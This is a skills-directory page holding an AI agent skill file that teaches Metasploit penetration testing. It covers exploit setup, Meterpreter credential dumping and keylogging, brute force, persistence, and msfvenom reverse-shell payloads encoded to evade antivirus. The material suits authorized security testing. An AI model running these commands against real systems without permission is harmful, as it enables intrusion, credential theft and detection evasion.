[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6R3Z22GZHAF8H69CZPRC05C":3,"skill-same:01M6R3Z22GZHAF8H69CZPRC05C":67},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":38,"linkOnly":39,"markdownContent":40,"markdownBody":41,"frontMatter":42,"refName":46,"commitSha":47,"skillDirectory":48,"forksCount":49,"repositoryHtmlUrl":50,"repositoryHomepageUrl":6,"ownerHtmlUrl":51,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":52,"install":53,"resources":66},"01M6R3Z22GZHAF8H69CZPRC05C","Metasploit Framework",null,"This skill should be used when the user asks to \"use Metasploit for penetration testing\", \"exploit vulnerabilities with msfconsole\", \"create payloads with msfvenom\", \"perform post-exploitation\", \"use auxiliary modules for scanning\", or \"develop custom exploits\". It provides comprehensive guidance for leveraging the Metasploit Framework in security assessments.","Mishit18\u002Fclaude-code-templates","Mishit18","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F244127857?v=4","01M6QXBYKWM76HSKYDNWSKKE41","Mishit Sharma","01M6QXBYRJ0CAVM51S1RTEKTZZ",1,"MIT","https:\u002F\u002Fgithub.com\u002FMishit18\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fsecurity\u002Fmetasploit-framework\u002FSKILL.md",[],[19,20,5,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37],"framework","Metasploit","use","when","custom","for","with","penetration","post","modules","exploit","scanning","testing","payloads","exploitation","penetration testing","post-exploitation","create","security","2026-11-10 10:12:30",false,"---\nname: Metasploit Framework\ndescription: This skill should be used when the user asks to \"use Metasploit for penetration testing\", \"exploit vulnerabilities with msfconsole\", \"create payloads with msfvenom\", \"perform post-exploitation\", \"use auxiliary modules for scanning\", or \"develop custom exploits\". It provides comprehensive guidance for leveraging the Metasploit Framework in security assessments.\nmetadata:\n  author: zebbern\n  version: \"1.1\"\n---\n\n# Metasploit Framework\n\n## Purpose\n\nLeverage the Metasploit Framework for comprehensive penetration testing, from initial exploitation through post-exploitation activities. Metasploit provides a unified platform for vulnerability exploitation, payload generation, auxiliary scanning, and maintaining access to compromised systems during authorized security assessments.\n\n## Prerequisites\n\n### Required Tools\n```bash\n# Metasploit comes pre-installed on Kali Linux\n# For other systems:\ncurl https:\u002F\u002Fraw.githubusercontent.com\u002Frapid7\u002Fmetasploit-omnibus\u002Fmaster\u002Fconfig\u002Ftemplates\u002Fmetasploit-framework-wrappers\u002Fmsfupdate.erb > msfinstall\nchmod 755 msfinstall\n.\u002Fmsfinstall\n\n# Start PostgreSQL for database support\nsudo systemctl start postgresql\nsudo msfdb init\n```\n\n### Required Knowledge\n- Network and system fundamentals\n- Understanding of vulnerabilities and exploits\n- Basic programming concepts\n- Target enumeration techniques\n\n### Required Access\n- Written authorization for testing\n- Network access to target systems\n- Understanding of scope and rules of engagement\n\n## Outputs and Deliverables\n\n1. **Exploitation Evidence** - Screenshots and logs of successful compromises\n2. **Session Logs** - Command history and extracted data\n3. **Vulnerability Mapping** - Exploited vulnerabilities with CVE references\n4. **Post-Exploitation Artifacts** - Credentials, files, and system information\n\n## Core Workflow\n\n### Phase 1: MSFConsole Basics\n\nLaunch and navigate the Metasploit console:\n\n```bash\n# Start msfconsole\nmsfconsole\n\n# Quiet mode (skip banner)\nmsfconsole -q\n\n# Basic navigation commands\nmsf6 > help                    # Show all commands\nmsf6 > search [term]           # Search modules\nmsf6 > use [module]            # Select module\nmsf6 > info                    # Show module details\nmsf6 > show options            # Display required options\nmsf6 > set [OPTION] [value]    # Configure option\nmsf6 > run \u002F exploit           # Execute module\nmsf6 > back                    # Return to main console\nmsf6 > exit                    # Exit msfconsole\n```\n\n### Phase 2: Module Types\n\nUnderstand the different module categories:\n\n```bash\n# 1. Exploit Modules - Target specific vulnerabilities\nmsf6 > show exploits\nmsf6 > use exploit\u002Fwindows\u002Fsmb\u002Fms17_010_eternalblue\n\n# 2. Payload Modules - Code executed after exploitation\nmsf6 > show payloads\nmsf6 > set PAYLOAD windows\u002Fx64\u002Fmeterpreter\u002Freverse_tcp\n\n# 3. Auxiliary Modules - Scanning, fuzzing, enumeration\nmsf6 > show auxiliary\nmsf6 > use auxiliary\u002Fscanner\u002Fsmb\u002Fsmb_version\n\n# 4. Post-Exploitation Modules - Actions after compromise\nmsf6 > show post\nmsf6 > use post\u002Fwindows\u002Fgather\u002Fhashdump\n\n# 5. Encoders - Obfuscate payloads\nmsf6 > show encoders\nmsf6 > set ENCODER x86\u002Fshikata_ga_nai\n\n# 6. Nops - No-operation padding for buffer overflows\nmsf6 > show nops\n\n# 7. Evasion - Bypass security controls\nmsf6 > show evasion\n```\n\n### Phase 3: Searching for Modules\n\nFind appropriate modules for targets:\n\n```bash\n# Search by name\nmsf6 > search eternalblue\n\n# Search by CVE\nmsf6 > search cve:2017-0144\n\n# Search by platform\nmsf6 > search platform:windows type:exploit\n\n# Search by type and keyword\nmsf6 > search type:auxiliary smb\n\n# Filter by rank (excellent, great, good, normal, average, low, manual)\nmsf6 > search rank:excellent\n\n# Combined search\nmsf6 > search type:exploit platform:linux apache\n\n# View search results columns:\n# Name, Disclosure Date, Rank, Check (if it can verify vulnerability), Description\n```\n\n### Phase 4: Configuring Exploits\n\nSet up an exploit for execution:\n\n```bash\n# Select exploit module\nmsf6 > use exploit\u002Fwindows\u002Fsmb\u002Fms17_010_eternalblue\n\n# View required options\nmsf6 exploit(windows\u002Fsmb\u002Fms17_010_eternalblue) > show options\n\n# Set target host\nmsf6 exploit(...) > set RHOSTS 192.168.1.100\n\n# Set target port (if different from default)\nmsf6 exploit(...) > set RPORT 445\n\n# View compatible payloads\nmsf6 exploit(...) > show payloads\n\n# Set payload\nmsf6 exploit(...) > set PAYLOAD windows\u002Fx64\u002Fmeterpreter\u002Freverse_tcp\n\n# Set local host for reverse connection\nmsf6 exploit(...) > set LHOST 192.168.1.50\nmsf6 exploit(...) > set LPORT 4444\n\n# View all options again to verify\nmsf6 exploit(...) > show options\n\n# Check if target is vulnerable (if supported)\nmsf6 exploit(...) > check\n\n# Execute exploit\nmsf6 exploit(...) > exploit\n# or\nmsf6 exploit(...) > run\n```\n\n### Phase 5: Payload Types\n\nSelect appropriate payload for the situation:\n\n```bash\n# Singles - Self-contained, no staging\nwindows\u002Fshell_reverse_tcp\nlinux\u002Fx86\u002Fshell_bind_tcp\n\n# Stagers - Small payload that downloads larger stage\nwindows\u002Fmeterpreter\u002Freverse_tcp\nlinux\u002Fx86\u002Fmeterpreter\u002Fbind_tcp\n\n# Stages - Downloaded by stager, provides full functionality\n# Meterpreter, VNC, shell\n\n# Payload naming convention:\n# [platform]\u002F[architecture]\u002F[payload_type]\u002F[connection_type]\n# Examples:\nwindows\u002Fx64\u002Fmeterpreter\u002Freverse_tcp\nlinux\u002Fx86\u002Fshell\u002Fbind_tcp\nphp\u002Fmeterpreter\u002Freverse_tcp\njava\u002Fmeterpreter\u002Freverse_https\nandroid\u002Fmeterpreter\u002Freverse_tcp\n```\n\n### Phase 6: Meterpreter Session\n\nWork with Meterpreter post-exploitation:\n\n```bash\n# After successful exploitation, you get Meterpreter prompt\nmeterpreter >\n\n# System Information\nmeterpreter > sysinfo\nmeterpreter > getuid\nmeterpreter > getpid\n\n# File System Operations\nmeterpreter > pwd\nmeterpreter > ls\nmeterpreter > cd C:\\\\Users\nmeterpreter > download file.txt \u002Ftmp\u002F\nmeterpreter > upload \u002Ftmp\u002Ftool.exe C:\\\\\n\n# Process Management\nmeterpreter > ps\nmeterpreter > migrate [PID]\nmeterpreter > kill [PID]\n\n# Networking\nmeterpreter > ipconfig\nmeterpreter > netstat\nmeterpreter > route\nmeterpreter > portfwd add -l 8080 -p 80 -r 10.0.0.1\n\n# Privilege Escalation\nmeterpreter > getsystem\nmeterpreter > getprivs\n\n# Credential Harvesting\nmeterpreter > hashdump\nmeterpreter > run post\u002Fwindows\u002Fgather\u002Fcredentials\u002Fcredential_collector\n\n# Screenshots and Keylogging\nmeterpreter > screenshot\nmeterpreter > keyscan_start\nmeterpreter > keyscan_dump\nmeterpreter > keyscan_stop\n\n# Shell Access\nmeterpreter > shell\nC:\\Windows\\system32> whoami\nC:\\Windows\\system32> exit\nmeterpreter >\n\n# Background Session\nmeterpreter > background\nmsf6 exploit(...) > sessions -l\nmsf6 exploit(...) > sessions -i 1\n```\n\n### Phase 7: Auxiliary Modules\n\nUse auxiliary modules for reconnaissance:\n\n```bash\n# SMB Version Scanner\nmsf6 > use auxiliary\u002Fscanner\u002Fsmb\u002Fsmb_version\nmsf6 auxiliary(scanner\u002Fsmb\u002Fsmb_version) > set RHOSTS 192.168.1.0\u002F24\nmsf6 auxiliary(...) > run\n\n# Port Scanner\nmsf6 > use auxiliary\u002Fscanner\u002Fportscan\u002Ftcp\nmsf6 auxiliary(...) > set RHOSTS 192.168.1.100\nmsf6 auxiliary(...) > set PORTS 1-1000\nmsf6 auxiliary(...) > run\n\n# SSH Version Scanner\nmsf6 > use auxiliary\u002Fscanner\u002Fssh\u002Fssh_version\nmsf6 auxiliary(...) > set RHOSTS 192.168.1.0\u002F24\nmsf6 auxiliary(...) > run\n\n# FTP Anonymous Login\nmsf6 > use auxiliary\u002Fscanner\u002Fftp\u002Fanonymous\nmsf6 auxiliary(...) > set RHOSTS 192.168.1.100\nmsf6 auxiliary(...) > run\n\n# HTTP Directory Scanner\nmsf6 > use auxiliary\u002Fscanner\u002Fhttp\u002Fdir_scanner\nmsf6 auxiliary(...) > set RHOSTS 192.168.1.100\nmsf6 auxiliary(...) > run\n\n# Brute Force Modules\nmsf6 > use auxiliary\u002Fscanner\u002Fssh\u002Fssh_login\nmsf6 auxiliary(...) > set RHOSTS 192.168.1.100\nmsf6 auxiliary(...) > set USER_FILE \u002Fusr\u002Fshare\u002Fwordlists\u002Fusers.txt\nmsf6 auxiliary(...) > set PASS_FILE \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\nmsf6 auxiliary(...) > run\n```\n\n### Phase 8: Post-Exploitation Modules\n\nRun post modules on active sessions:\n\n```bash\n# List sessions\nmsf6 > sessions -l\n\n# Run post module on specific session\nmsf6 > use post\u002Fwindows\u002Fgather\u002Fhashdump\nmsf6 post(windows\u002Fgather\u002Fhashdump) > set SESSION 1\nmsf6 post(...) > run\n\n# Or run directly from Meterpreter\nmeterpreter > run post\u002Fwindows\u002Fgather\u002Fhashdump\n\n# Common Post Modules\n# Credential Gathering\npost\u002Fwindows\u002Fgather\u002Fcredentials\u002Fcredential_collector\npost\u002Fwindows\u002Fgather\u002Flsa_secrets\npost\u002Fwindows\u002Fgather\u002Fcachedump\npost\u002Fmulti\u002Fgather\u002Fssh_creds\n\n# System Enumeration\npost\u002Fwindows\u002Fgather\u002Fenum_applications\npost\u002Fwindows\u002Fgather\u002Fenum_logged_on_users\npost\u002Fwindows\u002Fgather\u002Fenum_shares\npost\u002Flinux\u002Fgather\u002Fenum_configs\n\n# Privilege Escalation\npost\u002Fwindows\u002Fescalate\u002Fgetsystem\npost\u002Fmulti\u002Frecon\u002Flocal_exploit_suggester\n\n# Persistence\npost\u002Fwindows\u002Fmanage\u002Fpersistence_exe\npost\u002Flinux\u002Fmanage\u002Fsshkey_persistence\n\n# Pivoting\npost\u002Fmulti\u002Fmanage\u002Fautoroute\n```\n\n### Phase 9: Payload Generation with msfvenom\n\nCreate standalone payloads:\n\n```bash\n# Basic Windows reverse shell\nmsfvenom -p windows\u002Fx64\u002Fmeterpreter\u002Freverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -o shell.exe\n\n# Linux reverse shell\nmsfvenom -p linux\u002Fx86\u002Fmeterpreter\u002Freverse_tcp LHOST=192.168.1.50 LPORT=4444 -f elf -o shell.elf\n\n# PHP reverse shell\nmsfvenom -p php\u002Fmeterpreter\u002Freverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.php\n\n# Python reverse shell\nmsfvenom -p python\u002Fmeterpreter\u002Freverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.py\n\n# PowerShell payload\nmsfvenom -p windows\u002Fx64\u002Fmeterpreter\u002Freverse_tcp LHOST=192.168.1.50 LPORT=4444 -f psh -o shell.ps1\n\n# ASP web shell\nmsfvenom -p windows\u002Fmeterpreter\u002Freverse_tcp LHOST=192.168.1.50 LPORT=4444 -f asp -o shell.asp\n\n# WAR file (Tomcat)\nmsfvenom -p java\u002Fmeterpreter\u002Freverse_tcp LHOST=192.168.1.50 LPORT=4444 -f war -o shell.war\n\n# Android APK\nmsfvenom -p android\u002Fmeterpreter\u002Freverse_tcp LHOST=192.168.1.50 LPORT=4444 -o shell.apk\n\n# Encoded payload (evade AV)\nmsfvenom -p windows\u002Fmeterpreter\u002Freverse_tcp LHOST=192.168.1.50 LPORT=4444 -e x86\u002Fshikata_ga_nai -i 5 -f exe -o encoded.exe\n\n# List available formats\nmsfvenom --list formats\n\n# List available encoders\nmsfvenom --list encoders\n```\n\n### Phase 10: Setting Up Handlers\n\nConfigure listener for incoming connections:\n\n```bash\n# Manual handler setup\nmsf6 > use exploit\u002Fmulti\u002Fhandler\nmsf6 exploit(multi\u002Fhandler) > set PAYLOAD windows\u002Fx64\u002Fmeterpreter\u002Freverse_tcp\nmsf6 exploit(multi\u002Fhandler) > set LHOST 192.168.1.50\nmsf6 exploit(multi\u002Fhandler) > set LPORT 4444\nmsf6 exploit(multi\u002Fhandler) > exploit -j\n\n# The -j flag runs as background job\nmsf6 > jobs -l\n\n# When payload executes on target, session opens\n[*] Meterpreter session 1 opened\n\n# Interact with session\nmsf6 > sessions -i 1\n```\n\n## Quick Reference\n\n### Essential MSFConsole Commands\n\n| Command | Description |\n|---------|-------------|\n| `search [term]` | Search for modules |\n| `use [module]` | Select a module |\n| `info` | Display module information |\n| `show options` | Show configurable options |\n| `set [OPT] [val]` | Set option value |\n| `setg [OPT] [val]` | Set global option |\n| `run` \u002F `exploit` | Execute module |\n| `check` | Verify target vulnerability |\n| `back` | Deselect module |\n| `sessions -l` | List active sessions |\n| `sessions -i [N]` | Interact with session |\n| `jobs -l` | List background jobs |\n| `db_nmap` | Run nmap with database |\n\n### Meterpreter Essential Commands\n\n| Command | Description |\n|---------|-------------|\n| `sysinfo` | System information |\n| `getuid` | Current user |\n| `getsystem` | Attempt privilege escalation |\n| `hashdump` | Dump password hashes |\n| `shell` | Drop to system shell |\n| `upload\u002Fdownload` | File transfer |\n| `screenshot` | Capture screen |\n| `keyscan_start` | Start keylogger |\n| `migrate [PID]` | Move to another process |\n| `background` | Background session |\n| `portfwd` | Port forwarding |\n\n### Common Exploit Modules\n\n```bash\n# Windows\nexploit\u002Fwindows\u002Fsmb\u002Fms17_010_eternalblue\nexploit\u002Fwindows\u002Fsmb\u002Fms08_067_netapi\nexploit\u002Fwindows\u002Fhttp\u002Fiis_webdav_upload_asp\nexploit\u002Fwindows\u002Flocal\u002Fbypassuac\n\n# Linux\nexploit\u002Flinux\u002Fssh\u002Fsshexec\nexploit\u002Flinux\u002Flocal\u002Foverlayfs_priv_esc\nexploit\u002Fmulti\u002Fhttp\u002Fapache_mod_cgi_bash_env_exec\n\n# Web Applications\nexploit\u002Fmulti\u002Fhttp\u002Ftomcat_mgr_upload\nexploit\u002Funix\u002Fwebapp\u002Fwp_admin_shell_upload\nexploit\u002Fmulti\u002Fhttp\u002Fjenkins_script_console\n```\n\n## Constraints and Limitations\n\n### Legal Requirements\n- Only use on systems you own or have written authorization to test\n- Document all testing activities\n- Follow rules of engagement\n- Report all findings to appropriate parties\n\n### Technical Limitations\n- Modern AV\u002FEDR may detect Metasploit payloads\n- Some exploits require specific target configurations\n- Firewall rules may block reverse connections\n- Not all exploits work on all target versions\n\n### Operational Security\n- Use encrypted channels (reverse_https) when possible\n- Clean up artifacts after testing\n- Avoid detection by monitoring systems\n- Limit post-exploitation to agreed scope\n\n## Troubleshooting\n\n| Issue | Solutions |\n|-------|-----------|\n| Database not connected | Run `sudo msfdb init`, start PostgreSQL, then `db_connect` |\n| Exploit fails\u002Fno session | Run `check`; verify payload architecture; check firewall; try different payloads |\n| Session dies immediately | Migrate to stable process; use stageless payload; check AV; use AutoRunScript |\n| Payload detected by AV | Use encoding `-e x86\u002Fshikata_ga_nai -i 10`; use evasion modules; custom templates |\n\n","# Metasploit Framework\n\n## Purpose\n\nLeverage the Metasploit Framework for comprehensive penetration testing, from initial exploitation through post-exploitation activities. Metasploit provides a unified platform for vulnerability exploitation, payload generation, auxiliary scanning, and maintaining access to compromised systems during authorized security assessments.\n\n## Prerequisites\n\n### Required Tools\n```bash\n# Metasploit comes pre-installed on Kali Linux\n# For other systems:\ncurl https:\u002F\u002Fraw.githubusercontent.com\u002Frapid7\u002Fmetasploit-omnibus\u002Fmaster\u002Fconfig\u002Ftemplates\u002Fmetasploit-framework-wrappers\u002Fmsfupdate.erb > msfinstall\nchmod 755 msfinstall\n.\u002Fmsfinstall\n\n# Start PostgreSQL for database support\nsudo systemctl start postgresql\nsudo msfdb init\n```\n\n### Required Knowledge\n- Network and system fundamentals\n- Understanding of vulnerabilities and exploits\n- Basic programming concepts\n- Target enumeration techniques\n\n### Required Access\n- Written authorization for testing\n- Network access to target systems\n- Understanding of scope and rules of engagement\n\n## Outputs and Deliverables\n\n1. **Exploitation Evidence** - Screenshots and logs of successful compromises\n2. **Session Logs** - Command history and extracted data\n3. **Vulnerability Mapping** - Exploited vulnerabilities with CVE references\n4. **Post-Exploitation Artifacts** - Credentials, files, and system information\n\n## Core Workflow\n\n### Phase 1: MSFConsole Basics\n\nLaunch and navigate the Metasploit console:\n\n```bash\n# Start msfconsole\nmsfconsole\n\n# Quiet mode (skip banner)\nmsfconsole -q\n\n# Basic navigation commands\nmsf6 > help                    # Show all commands\nmsf6 > search [term]           # Search modules\nmsf6 > use [module]            # Select module\nmsf6 > info                    # Show module details\nmsf6 > show options            # Display required options\nmsf6 > set [OPTION] [value]    # Configure option\nmsf6 > run \u002F exploit           # Execute module\nmsf6 > back                    # Return to main console\nmsf6 > exit                    # Exit msfconsole\n```\n\n### Phase 2: Module Types\n\nUnderstand the different module categories:\n\n```bash\n# 1. Exploit Modules - Target specific vulnerabilities\nmsf6 > show exploits\nmsf6 > use exploit\u002Fwindows\u002Fsmb\u002Fms17_010_eternalblue\n\n# 2. Payload Modules - Code executed after exploitation\nmsf6 > show payloads\nmsf6 > set PAYLOAD windows\u002Fx64\u002Fmeterpreter\u002Freverse_tcp\n\n# 3. Auxiliary Modules - Scanning, fuzzing, enumeration\nmsf6 > show auxiliary\nmsf6 > use auxiliary\u002Fscanner\u002Fsmb\u002Fsmb_version\n\n# 4. Post-Exploitation Modules - Actions after compromise\nmsf6 > show post\nmsf6 > use post\u002Fwindows\u002Fgather\u002Fhashdump\n\n# 5. Encoders - Obfuscate payloads\nmsf6 > show encoders\nmsf6 > set ENCODER x86\u002Fshikata_ga_nai\n\n# 6. Nops - No-operation padding for buffer overflows\nmsf6 > show nops\n\n# 7. Evasion - Bypass security controls\nmsf6 > show evasion\n```\n\n### Phase 3: Searching for Modules\n\nFind appropriate modules for targets:\n\n```bash\n# Search by name\nmsf6 > search eternalblue\n\n# Search by CVE\nmsf6 > search cve:2017-0144\n\n# Search by platform\nmsf6 > search platform:windows type:exploit\n\n# Search by type and keyword\nmsf6 > search type:auxiliary smb\n\n# Filter by rank (excellent, great, good, normal, average, low, manual)\nmsf6 > search rank:excellent\n\n# Combined search\nmsf6 > search type:exploit platform:linux apache\n\n# View search results columns:\n# Name, Disclosure Date, Rank, Check (if it can verify vulnerability), Description\n```\n\n### Phase 4: Configuring Exploits\n\nSet up an exploit for execution:\n\n```bash\n# Select exploit module\nmsf6 > use exploit\u002Fwindows\u002Fsmb\u002Fms17_010_eternalblue\n\n# View required options\nmsf6 exploit(windows\u002Fsmb\u002Fms17_010_eternalblue) > show options\n\n# Set target host\nmsf6 exploit(...) > set RHOSTS 192.168.1.100\n\n# Set target port (if different from default)\nmsf6 exploit(...) > set RPORT 445\n\n# View compatible payloads\nmsf6 exploit(...) > show payloads\n\n# Set payload\nmsf6 exploit(...) > set PAYLOAD windows\u002Fx64\u002Fmeterpreter\u002Freverse_tcp\n\n# Set local host for reverse connection\nmsf6 exploit(...) > set LHOST 192.168.1.50\nmsf6 exploit(...) > set LPORT 4444\n\n# View all options again to verify\nmsf6 exploit(...) > show options\n\n# Check if target is vulnerable (if supported)\nmsf6 exploit(...) > check\n\n# Execute exploit\nmsf6 exploit(...) > exploit\n# or\nmsf6 exploit(...) > run\n```\n\n### Phase 5: Payload Types\n\nSelect appropriate payload for the situation:\n\n```bash\n# Singles - Self-contained, no staging\nwindows\u002Fshell_reverse_tcp\nlinux\u002Fx86\u002Fshell_bind_tcp\n\n# Stagers - Small payload that downloads larger stage\nwindows\u002Fmeterpreter\u002Freverse_tcp\nlinux\u002Fx86\u002Fmeterpreter\u002Fbind_tcp\n\n# Stages - Downloaded by stager, provides full functionality\n# Meterpreter, VNC, shell\n\n# Payload naming convention:\n# [platform]\u002F[architecture]\u002F[payload_type]\u002F[connection_type]\n# Examples:\nwindows\u002Fx64\u002Fmeterpreter\u002Freverse_tcp\nlinux\u002Fx86\u002Fshell\u002Fbind_tcp\nphp\u002Fmeterpreter\u002Freverse_tcp\njava\u002Fmeterpreter\u002Freverse_https\nandroid\u002Fmeterpreter\u002Freverse_tcp\n```\n\n### Phase 6: Meterpreter Session\n\nWork with Meterpreter post-exploitation:\n\n```bash\n# After successful exploitation, you get Meterpreter prompt\nmeterpreter >\n\n# System Information\nmeterpreter > sysinfo\nmeterpreter > getuid\nmeterpreter > getpid\n\n# File System Operations\nmeterpreter > pwd\nmeterpreter > ls\nmeterpreter > cd C:\\\\Users\nmeterpreter > download file.txt \u002Ftmp\u002F\nmeterpreter > upload \u002Ftmp\u002Ftool.exe C:\\\\\n\n# Process Management\nmeterpreter > ps\nmeterpreter > migrate [PID]\nmeterpreter > kill [PID]\n\n# Networking\nmeterpreter > ipconfig\nmeterpreter > netstat\nmeterpreter > route\nmeterpreter > portfwd add -l 8080 -p 80 -r 10.0.0.1\n\n# Privilege Escalation\nmeterpreter > getsystem\nmeterpreter > getprivs\n\n# Credential Harvesting\nmeterpreter > hashdump\nmeterpreter > run post\u002Fwindows\u002Fgather\u002Fcredentials\u002Fcredential_collector\n\n# Screenshots and Keylogging\nmeterpreter > screenshot\nmeterpreter > keyscan_start\nmeterpreter > keyscan_dump\nmeterpreter > keyscan_stop\n\n# Shell Access\nmeterpreter > shell\nC:\\Windows\\system32> whoami\nC:\\Windows\\system32> exit\nmeterpreter >\n\n# Background Session\nmeterpreter > background\nmsf6 exploit(...) > sessions -l\nmsf6 exploit(...) > sessions -i 1\n```\n\n### Phase 7: Auxiliary Modules\n\nUse auxiliary modules for reconnaissance:\n\n```bash\n# SMB Version Scanner\nmsf6 > use auxiliary\u002Fscanner\u002Fsmb\u002Fsmb_version\nmsf6 auxiliary(scanner\u002Fsmb\u002Fsmb_version) > set RHOSTS 192.168.1.0\u002F24\nmsf6 auxiliary(...) > run\n\n# Port Scanner\nmsf6 > use auxiliary\u002Fscanner\u002Fportscan\u002Ftcp\nmsf6 auxiliary(...) > set RHOSTS 192.168.1.100\nmsf6 auxiliary(...) > set PORTS 1-1000\nmsf6 auxiliary(...) > run\n\n# SSH Version Scanner\nmsf6 > use auxiliary\u002Fscanner\u002Fssh\u002Fssh_version\nmsf6 auxiliary(...) > set RHOSTS 192.168.1.0\u002F24\nmsf6 auxiliary(...) > run\n\n# FTP Anonymous Login\nmsf6 > use auxiliary\u002Fscanner\u002Fftp\u002Fanonymous\nmsf6 auxiliary(...) > set RHOSTS 192.168.1.100\nmsf6 auxiliary(...) > run\n\n# HTTP Directory Scanner\nmsf6 > use auxiliary\u002Fscanner\u002Fhttp\u002Fdir_scanner\nmsf6 auxiliary(...) > set RHOSTS 192.168.1.100\nmsf6 auxiliary(...) > run\n\n# Brute Force Modules\nmsf6 > use auxiliary\u002Fscanner\u002Fssh\u002Fssh_login\nmsf6 auxiliary(...) > set RHOSTS 192.168.1.100\nmsf6 auxiliary(...) > set USER_FILE \u002Fusr\u002Fshare\u002Fwordlists\u002Fusers.txt\nmsf6 auxiliary(...) > set PASS_FILE \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\nmsf6 auxiliary(...) > run\n```\n\n### Phase 8: Post-Exploitation Modules\n\nRun post modules on active sessions:\n\n```bash\n# List sessions\nmsf6 > sessions -l\n\n# Run post module on specific session\nmsf6 > use post\u002Fwindows\u002Fgather\u002Fhashdump\nmsf6 post(windows\u002Fgather\u002Fhashdump) > set SESSION 1\nmsf6 post(...) > run\n\n# Or run directly from Meterpreter\nmeterpreter > run post\u002Fwindows\u002Fgather\u002Fhashdump\n\n# Common Post Modules\n# Credential Gathering\npost\u002Fwindows\u002Fgather\u002Fcredentials\u002Fcredential_collector\npost\u002Fwindows\u002Fgather\u002Flsa_secrets\npost\u002Fwindows\u002Fgather\u002Fcachedump\npost\u002Fmulti\u002Fgather\u002Fssh_creds\n\n# System Enumeration\npost\u002Fwindows\u002Fgather\u002Fenum_applications\npost\u002Fwindows\u002Fgather\u002Fenum_logged_on_users\npost\u002Fwindows\u002Fgather\u002Fenum_shares\npost\u002Flinux\u002Fgather\u002Fenum_configs\n\n# Privilege Escalation\npost\u002Fwindows\u002Fescalate\u002Fgetsystem\npost\u002Fmulti\u002Frecon\u002Flocal_exploit_suggester\n\n# Persistence\npost\u002Fwindows\u002Fmanage\u002Fpersistence_exe\npost\u002Flinux\u002Fmanage\u002Fsshkey_persistence\n\n# Pivoting\npost\u002Fmulti\u002Fmanage\u002Fautoroute\n```\n\n### Phase 9: Payload Generation with msfvenom\n\nCreate standalone payloads:\n\n```bash\n# Basic Windows reverse shell\nmsfvenom -p windows\u002Fx64\u002Fmeterpreter\u002Freverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -o shell.exe\n\n# Linux reverse shell\nmsfvenom -p linux\u002Fx86\u002Fmeterpreter\u002Freverse_tcp LHOST=192.168.1.50 LPORT=4444 -f elf -o shell.elf\n\n# PHP reverse shell\nmsfvenom -p php\u002Fmeterpreter\u002Freverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.php\n\n# Python reverse shell\nmsfvenom -p python\u002Fmeterpreter\u002Freverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.py\n\n# PowerShell payload\nmsfvenom -p windows\u002Fx64\u002Fmeterpreter\u002Freverse_tcp LHOST=192.168.1.50 LPORT=4444 -f psh -o shell.ps1\n\n# ASP web shell\nmsfvenom -p windows\u002Fmeterpreter\u002Freverse_tcp LHOST=192.168.1.50 LPORT=4444 -f asp -o shell.asp\n\n# WAR file (Tomcat)\nmsfvenom -p java\u002Fmeterpreter\u002Freverse_tcp LHOST=192.168.1.50 LPORT=4444 -f war -o shell.war\n\n# Android APK\nmsfvenom -p android\u002Fmeterpreter\u002Freverse_tcp LHOST=192.168.1.50 LPORT=4444 -o shell.apk\n\n# Encoded payload (evade AV)\nmsfvenom -p windows\u002Fmeterpreter\u002Freverse_tcp LHOST=192.168.1.50 LPORT=4444 -e x86\u002Fshikata_ga_nai -i 5 -f exe -o encoded.exe\n\n# List available formats\nmsfvenom --list formats\n\n# List available encoders\nmsfvenom --list encoders\n```\n\n### Phase 10: Setting Up Handlers\n\nConfigure listener for incoming connections:\n\n```bash\n# Manual handler setup\nmsf6 > use exploit\u002Fmulti\u002Fhandler\nmsf6 exploit(multi\u002Fhandler) > set PAYLOAD windows\u002Fx64\u002Fmeterpreter\u002Freverse_tcp\nmsf6 exploit(multi\u002Fhandler) > set LHOST 192.168.1.50\nmsf6 exploit(multi\u002Fhandler) > set LPORT 4444\nmsf6 exploit(multi\u002Fhandler) > exploit -j\n\n# The -j flag runs as background job\nmsf6 > jobs -l\n\n# When payload executes on target, session opens\n[*] Meterpreter session 1 opened\n\n# Interact with session\nmsf6 > sessions -i 1\n```\n\n## Quick Reference\n\n### Essential MSFConsole Commands\n\n| Command | Description |\n|---------|-------------|\n| `search [term]` | Search for modules |\n| `use [module]` | Select a module |\n| `info` | Display module information |\n| `show options` | Show configurable options |\n| `set [OPT] [val]` | Set option value |\n| `setg [OPT] [val]` | Set global option |\n| `run` \u002F `exploit` | Execute module |\n| `check` | Verify target vulnerability |\n| `back` | Deselect module |\n| `sessions -l` | List active sessions |\n| `sessions -i [N]` | Interact with session |\n| `jobs -l` | List background jobs |\n| `db_nmap` | Run nmap with database |\n\n### Meterpreter Essential Commands\n\n| Command | Description |\n|---------|-------------|\n| `sysinfo` | System information |\n| `getuid` | Current user |\n| `getsystem` | Attempt privilege escalation |\n| `hashdump` | Dump password hashes |\n| `shell` | Drop to system shell |\n| `upload\u002Fdownload` | File transfer |\n| `screenshot` | Capture screen |\n| `keyscan_start` | Start keylogger |\n| `migrate [PID]` | Move to another process |\n| `background` | Background session |\n| `portfwd` | Port forwarding |\n\n### Common Exploit Modules\n\n```bash\n# Windows\nexploit\u002Fwindows\u002Fsmb\u002Fms17_010_eternalblue\nexploit\u002Fwindows\u002Fsmb\u002Fms08_067_netapi\nexploit\u002Fwindows\u002Fhttp\u002Fiis_webdav_upload_asp\nexploit\u002Fwindows\u002Flocal\u002Fbypassuac\n\n# 